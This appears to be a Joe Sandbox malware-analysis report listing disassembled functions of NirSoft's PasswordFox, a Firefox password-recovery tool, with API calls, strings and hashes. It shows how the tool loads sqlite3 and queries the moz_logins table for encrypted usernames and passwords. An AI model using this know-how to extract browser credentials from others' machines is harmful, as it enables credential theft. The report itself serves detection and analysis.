Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Filememset$??2@??3@CloseCreateHandleReadSizestrcmp
String ID: ---
API String ID: 2784192885-2854292027
Opcode ID: 552d603059e62ae8c9e5a66bb488f6aa050529ee5c50509e70ef86cc3eb9e9cf
Instruction ID: b80983b98e9648236443da80f1610546219466077700600bd95e69fe60c60e57
Opcode Fuzzy Hash: 552d603059e62ae8c9e5a66bb488f6aa050529ee5c50509e70ef86cc3eb9e9cf
Instruction Fuzzy Hash: 4E511FB280425DEADB219E658C818DEBB7CDF15305F1041FBE509B3182DA389FC59BE9

Function 00403A29 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

Part of subcall function 0040B251: memset.MSVCRT ref: 0040B27C
Part of subcall function 0040B251: wcscpy.MSVCRT ref: 0040B293
Part of subcall function 0040B251: memset.MSVCRT ref: 0040B2C6
Part of subcall function 0040B251: wcscpy.MSVCRT ref: 0040B2DC
Part of subcall function 0040B251: wcscat.MSVCRT ref: 0040B2ED
Part of subcall function 0040B251: wcscpy.MSVCRT ref: 0040B313
Part of subcall function 0040B251: wcscat.MSVCRT ref: 0040B324
Part of subcall function 0040B251: GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040B333
Part of subcall function 0040B251: LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040B34A
Part of subcall function 0040B251: GetProcAddress.KERNEL32(?,sqlite3_open), ref: 0040B387
Part of subcall function 0040B251: GetProcAddress.KERNEL32(?,sqlite3_prepare), ref: 0040B393
Part of subcall function 0040B251: GetProcAddress.KERNEL32(?,sqlite3_step), ref: 0040B3A0
Part of subcall function 0040B251: GetProcAddress.KERNEL32(?,sqlite3_column_text), ref: 0040B3AD
Part of subcall function 0040B251: GetProcAddress.KERNEL32(?,sqlite3_column_int), ref: 0040B3BA
Part of subcall function 0040B251: GetProcAddress.KERNEL32(?,sqlite3_column_int64), ref: 0040B3C7

memset.MSVCRT ref: 00403A68
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,00000000,00000000), ref: 00403A81
memset.MSVCRT ref: 00403AF2
memset.MSVCRT ref: 00403B07
_mbscpy.MSVCRT(?,00000000,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00403B7A
_mbscpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00403B90
_mbscpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00403BA6
_mbscpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00403BBC
_mbscpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00403BD2
_mbscpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00403BE8
memset.MSVCRT ref: 00403BFE
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000003FF,00000000,00000000,00000006,?,00000001), ref: 00403C17

Strings

SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins, xrefs: 00403AB4

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: AddressProc_mbscpymemset$wcscpy$ByteCharMultiWidewcscat$HandleLibraryLoadModule
String ID: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins
API String ID: 384966959-1740008135
Opcode ID: 85f00eb0efc9c1ffdf0dd2931e8962a67ceadcff4ca46143de105bb7c4996516
Instruction ID: 6fe501b924ea4892e16e533dd6bbbd6bc35ce4bb996270a910368a75cee546d0
Opcode Fuzzy Hash: 85f00eb0efc9c1ffdf0dd2931e8962a67ceadcff4ca46143de105bb7c4996516
Instruction Fuzzy Hash: BC61F77280051EEEDF119E90DC859EE7BBDEB0431AF14017BF505B2192EB399F548B68

Function 00402353 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 00404248: wcslen.MSVCRT ref: 00404255
Part of subcall function 00404248: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00407299,?,<item>), ref: 00404264

memset.MSVCRT ref: 0040238C
memset.MSVCRT ref: 004023A1
memset.MSVCRT ref: 004023B6
_snwprintf.MSVCRT ref: 004023DD
wcscpy.MSVCRT ref: 004023F9
_snwprintf.MSVCRT ref: 0040243C
_snwprintf.MSVCRT ref: 00402472

Strings

<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 00402461
<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 004023CC
PasswordFox, xrefs: 00402453
<table dir="rtl"><tr><td>, xrefs: 004023F3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00402363
<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 0040240B

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _snwprintfmemset$FileWritewcscpywcslen
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>$PasswordFox
API String ID: 1592343458-1216084738
Opcode ID: d7a81f6b5137373fe4cf2134810229e662d56ccb2226b4a9fc2a90679aad00ea
Instruction ID: 77499a437e4ca18f25f4b566ccf08979830a7e8899ef36d7b8f49d1ccdd78af5
Opcode Fuzzy Hash: d7a81f6b5137373fe4cf2134810229e662d56ccb2226b4a9fc2a90679aad00ea
Instruction Fuzzy Hash: 8C316772940218AADF20DB55DC85EDB73ACEB44304F9080B7B549F61D2DE785BC48B9D

Function 0040A0C9 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(psapi.dll,?,00409CDD), ref: 0040A0DC
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040A0F5
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 0040A106
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 0040A117
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0040A128
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 0040A139
FreeLibrary.KERNEL32(00000000), ref: 0040A159

Strings

EnumProcesses, xrefs: 0040A122
GetModuleBaseNameW, xrefs: 0040A0EF
EnumProcessModules, xrefs: 0040A100
GetModuleFileNameExW, xrefs: 0040A111
psapi.dll, xrefs: 0040A0D7
GetModuleInformation, xrefs: 0040A133

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 2449869053-70141382
Opcode ID: ca645339af4dce8cf14e05afc31322d940a1c319e245c9d4c19b0609aa7601d8
Instruction ID: e2902bbd2d2df0a0a2665514b5f869c205e32ed77b5c19c0dec3bbebffe865c7
Opcode Fuzzy Hash: ca645339af4dce8cf14e05afc31322d940a1c319e245c9d4c19b0609aa7601d8
Instruction Fuzzy Hash: D7014431941305EAD721AB78AE40BAB3AE4BB45B54F14413BF804F52D4D77DD446CA2E

Function 004093EC Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 004093F2
_wcsicmp.MSVCRT ref: 00409407

Strings

/shtml, xrefs: 004093ED
/skeepass, xrefs: 0040946B
/sverhtml, xrefs: 00409402
/stabular, xrefs: 00409441
/sxml, xrefs: 00409417
/scomma, xrefs: 00409456
/stab, xrefs: 0040942C

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _wcsicmp
String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
API String ID: 2081463915-1959339147
Opcode ID: 5e5474dcb265fab2e7559db415b74ff675467357c8a7eb17d073a8c107a42d0a
Instruction ID: 141cc0e57bd5805de38ceafa04f64b25099d4e730ebd55b25a00ba4e5e80b58e
Opcode Fuzzy Hash: 5e5474dcb265fab2e7559db415b74ff675467357c8a7eb17d073a8c107a42d0a
Instruction Fuzzy Hash: 05011E626CD71128F92821A62C07F87064ACB5177EF31803BFA48F40C7EF7C854690AD

Function 0040A045 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00409CE4), ref: 0040A054
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0040A06D
GetProcAddress.KERNEL32(00000000,Module32First), ref: 0040A07E
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0040A08F
GetProcAddress.KERNEL32(00000000,Process32First), ref: 0040A0A0
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040A0B1

Strings

Process32First, xrefs: 0040A09A
Process32Next, xrefs: 0040A0AB
Module32First, xrefs: 0040A078
Module32Next, xrefs: 0040A089
kernel32.dll, xrefs: 0040A04F
CreateToolhelp32Snapshot, xrefs: 0040A067

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 7e582fe6ebe7f1e07e78314aabc51041a3f7fc8460ebe8b0c385bf4fc28b3348
Instruction ID: 3548e4d072194770a4844a76898c4b9063ebb1afa7f97360c6ebe6afb7ba8783
Opcode Fuzzy Hash: 7e582fe6ebe7f1e07e78314aabc51041a3f7fc8460ebe8b0c385bf4fc28b3348
Instruction Fuzzy Hash: 9DF03171E12319A9C730AF656E40F6729E49785B84B14903BE800F32D4EB7DA45ACF6E

Function 00407A2B Relevance: 19.6, APIs: 13, Instructions: 136windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407A68
SHGetFileInfoW.SHELL32(0040C3EC,00000000,?,000002B4,00004001), ref: 00407A85
SendMessageW.USER32(?,00001003,00000001,00000000), ref: 00407A9F
SendMessageW.USER32(?,00001003,00000001,?), ref: 00407AD1
SendMessageW.USER32(?,00001003,00000000,?), ref: 00407B0B
GetModuleHandleW.KERNEL32(00000000), ref: 00407B28
LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00407B3F
GetModuleHandleW.KERNEL32(00000000), ref: 00407B47
LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00407B5A
GetSysColor.USER32(0000000F), ref: 00407B6E
DeleteObject.GDI32(?), ref: 00407BA2
DeleteObject.GDI32(00000000), ref: 00407BA5
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 00407BC3

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: MessageSend$DeleteHandleImageLoadModuleObject$ColorFileInfomemset
String ID:
API String ID: 3623935593-0
Opcode ID: 5973fd06d5558dc911c548379f1aab942a1b5c79585eb3052da6c94cd7ee003d
Instruction ID: 70c96f0b0c510efc06f06bdbc921eec1bfe708237d7f2dd35092dcb1fd8a2289
Opcode Fuzzy Hash: 5973fd06d5558dc911c548379f1aab942a1b5c79585eb3052da6c94cd7ee003d
Instruction Fuzzy Hash: 9A41D731680308FFE720AFA0DD8AF9777A9FB08B44F000529F7597A1D1C6F6A9508B59

Function 00405E36 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 50COMMON

Download Yara Rule

APIs

wcscpy.MSVCRT ref: 00405E47
wcscpy.MSVCRT ref: 00405E57

Part of subcall function 004059B2: memset.MSVCRT ref: 004059D7
Part of subcall function 004059B2: GetPrivateProfileStringW.KERNEL32(0040FDA8,?,0040C3EC,?,00001000,0040FB98), ref: 004059FF
Part of subcall function 004059B2: WritePrivateProfileStringW.KERNEL32(0040FDA8,?,?,0040FB98), ref: 00405A17

EnumResourceNamesW.KERNEL32(?,00000004,Function_00005C0C,00000000,?,?,?,?,?,?,?,00000000,?,?,00405F3B,00000000), ref: 00405EA5
EnumResourceNamesW.KERNEL32(?,00000005,Function_00005C0C,00000000,?,?,?,?,?,?,?,00000000,?,?,00405F3B,00000000), ref: 00405EAD
wcscpy.MSVCRT ref: 00405EB5

Part of subcall function 00405D0F: memset.MSVCRT ref: 00405D33
Part of subcall function 00405D0F: LoadStringW.USER32(?,00000000,?,00001000), ref: 00405D4B

Strings

RTL, xrefs: 00405E87
TranslatorName, xrefs: 00405E62
general, xrefs: 00405E4C
strings, xrefs: 00405EAF
Version, xrefs: 00405E78
TranslatorURL, xrefs: 00405E6D

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Stringwcscpy$EnumNamesPrivateProfileResourcememset$LoadWrite
String ID: RTL$TranslatorName$TranslatorURL$Version$general$strings
API String ID: 4216465668-517860148
Opcode ID: 84856da66dedeb1956171715193895ba0fd456ea9198924a4babaf81313ba53e
Instruction ID: 7f863a6f51319cd0588b36c23358cab96c7208ff8e6cce934dd096e5358724db
Opcode Fuzzy Hash: 84856da66dedeb1956171715193895ba0fd456ea9198924a4babaf81313ba53e
Instruction Fuzzy Hash: A5F01D65682618F5E52033626C8BF4B7E2CCF82B69F60423B7949351C385BD68448AAD

Function 0040A161 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 0040A17A
wcscpy.MSVCRT ref: 0040A18A

Part of subcall function 0040434A: wcslen.MSVCRT ref: 00404359
Part of subcall function 0040434A: wcslen.MSVCRT ref: 00404363
Part of subcall function 0040434A: _memicmp.MSVCRT ref: 0040437E

wcscpy.MSVCRT ref: 0040A1D9
wcscat.MSVCRT ref: 0040A1E4
memset.MSVCRT ref: 0040A1C0

Part of subcall function 00404708: GetWindowsDirectoryW.KERNEL32(004101F8,00000104,?,0040A219,?,?,00000000,00000208,00000000), ref: 0040471E
Part of subcall function 00404708: wcscpy.MSVCRT ref: 0040472E

memset.MSVCRT ref: 0040A208
memcpy.MSVCRT(?,?,00000004,?,?,00000000,00000208,00000000), ref: 0040A223
wcscat.MSVCRT ref: 0040A22F

Strings

\systemroot, xrefs: 0040A197

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: 85711f5a9a9af80195ed3bd077fd374c7f64ce4b399d39fdceb5c36c1e766c82
Instruction ID: 169749a7a6df712fe2e4d140a3a10a06551a5030272b022fcc2fe36dd37c6163
Opcode Fuzzy Hash: 85711f5a9a9af80195ed3bd077fd374c7f64ce4b399d39fdceb5c36c1e766c82
Instruction Fuzzy Hash: 6521A7A6805308A9D611E7A14C86DBB63ECDF45714F20417FF515F21C2EB7CAA44879F

Function 0040805F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 68windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 00408085

Part of subcall function 00404177: LoadCursorW.USER32(00000000,00007F02), ref: 0040417E
Part of subcall function 00404177: SetCursor.USER32(00000000), ref: 00404185

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 004080A8

Part of subcall function 00407FC5: _snwprintf.MSVCRT ref: 00407FF2
Part of subcall function 00407FC5: _snwprintf.MSVCRT ref: 0040801D
Part of subcall function 00407FC5: wcscat.MSVCRT ref: 00408030
Part of subcall function 00407FC5: SendMessageW.USER32(?,0000040B,00000000,?), ref: 00408057

SetCursor.USER32 ref: 004080CD
SetFocus.USER32(?), ref: 004080DF
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 004080F6
memset.MSVCRT ref: 0040810C
_snwprintf.MSVCRT ref: 00408131
SetWindowTextW.USER32(?,?), ref: 00408146

Strings

%s: %s, xrefs: 00408120
PasswordFox, xrefs: 0040811B

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: MessageSend$Cursor_snwprintf$FocusLoadTextWindowmemsetwcscat
String ID: %s: %s$PasswordFox
API String ID: 2693631882-2734655586
Opcode ID: 2561c9ff1a4fe73ce722754cd3fec9add366b1b7e3f511ac2ce4350fe42e45da
Instruction ID: 28f868805ce7f300f7a35ba6660182de6f0c9a572cbba210cc35c352a1e02ed8
Opcode Fuzzy Hash: 2561c9ff1a4fe73ce722754cd3fec9add366b1b7e3f511ac2ce4350fe42e45da
Instruction Fuzzy Hash: F0213A71640208AFE320AB65CD89FA677EEFF48304F0100B9F55DAB5A2CB716C558F54

Function 0040907C Relevance: 16.6, APIs: 11, Instructions: 146windowCOMMON

Download Yara Rule

APIs

SetBkMode.GDI32(?,00000001), ref: 004090F8
SetTextColor.GDI32(?,00FF0000), ref: 00409106
SelectObject.GDI32(?,?), ref: 0040911B
DrawTextExW.USER32(?,?,000000FF,?,00000004,?), ref: 00409151
SelectObject.GDI32(00000014,00000000), ref: 0040915B

Part of subcall function 00408F10: GetCursorPos.USER32(?), ref: 00408F1D
Part of subcall function 00408F10: GetSubMenu.USER32(?,00000000), ref: 00408F2B
Part of subcall function 00408F10: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 00408F58

GetModuleHandleW.KERNEL32(00000000), ref: 00409176
LoadCursorW.USER32(00000000,00000067), ref: 0040917F
SetCursor.USER32(00000000), ref: 00409186
PostMessageW.USER32(?,0000041C,00000000,00000000), ref: 004091A8
SetFocus.USER32(?), ref: 004091DD
SetFocus.USER32(?), ref: 00409244

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Cursor$FocusMenuObjectSelectText$ColorDrawHandleLoadMessageModeModulePopupPostTrack
String ID:
API String ID: 3230168590-0
Opcode ID: 79913bb0ae7908b1afa49cf06df9eb51bff68f541d465b13dfec1c32defbd00a
Instruction ID: f9130b7363a63fa1dd0b9d48565e412759fc459cce7eecf89893da159909f402
Opcode Fuzzy Hash: 79913bb0ae7908b1afa49cf06df9eb51bff68f541d465b13dfec1c32defbd00a
Instruction Fuzzy Hash: 9551A071600206FFDB149FA4C988AAA7775BB48310F10067AF525BB2E2C738AC51DF99

Function 00405568 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 0040557E
memset.MSVCRT ref: 004055A2
GetMenuItemInfoW.USER32 ref: 004055DD
memset.MSVCRT ref: 0040560C
wcschr.MSVCRT ref: 00405618
wcscat.MSVCRT ref: 00405673
ModifyMenuW.USER32(?,?,00000400,?,?), ref: 0040568F

Strings

6, xrefs: 004055C8
0, xrefs: 004055BD

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
String ID: 0$6
API String ID: 4066108131-3849865405
Opcode ID: b6caae16324956fea7a1c4035ed61f7a3c60bedf070798a807fcdaab4c85fed2
Instruction ID: 4f496d6a710761ec625949cb3b7857caba8e1bb3d452f86d9d6fc5bdc1e7d867
Opcode Fuzzy Hash: b6caae16324956fea7a1c4035ed61f7a3c60bedf070798a807fcdaab4c85fed2
Instruction Fuzzy Hash: 2E319C72408304AFDB209F91D880A9BB7E8EF84314F40493EF988A2291D339D905CF9A

Function 004025F0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52libraryloaderwindowCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(comctl32.dll), ref: 0040260F
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00402621
FreeLibrary.KERNEL32(00000000), ref: 00402635
6F551CD0.COMCTL32 ref: 00402643
MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00402660

Strings

Error, xrefs: 00402655
InitCommonControlsEx, xrefs: 0040261B
Error: Cannot load the common control classes., xrefs: 0040265A
comctl32.dll, xrefs: 004025F8

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Library$AddressF551FreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 269827459-317687271
Opcode ID: 1a228f069c8e191ef87cd7f52c1f45f5c19ff6b9c2c00f2d2f5da7869437e64b
Instruction ID: 26794b545e1ef44de9f43929d311897303b1a6ca7faf20d8154e529f8b560f2f
Opcode Fuzzy Hash: 1a228f069c8e191ef87cd7f52c1f45f5c19ff6b9c2c00f2d2f5da7869437e64b
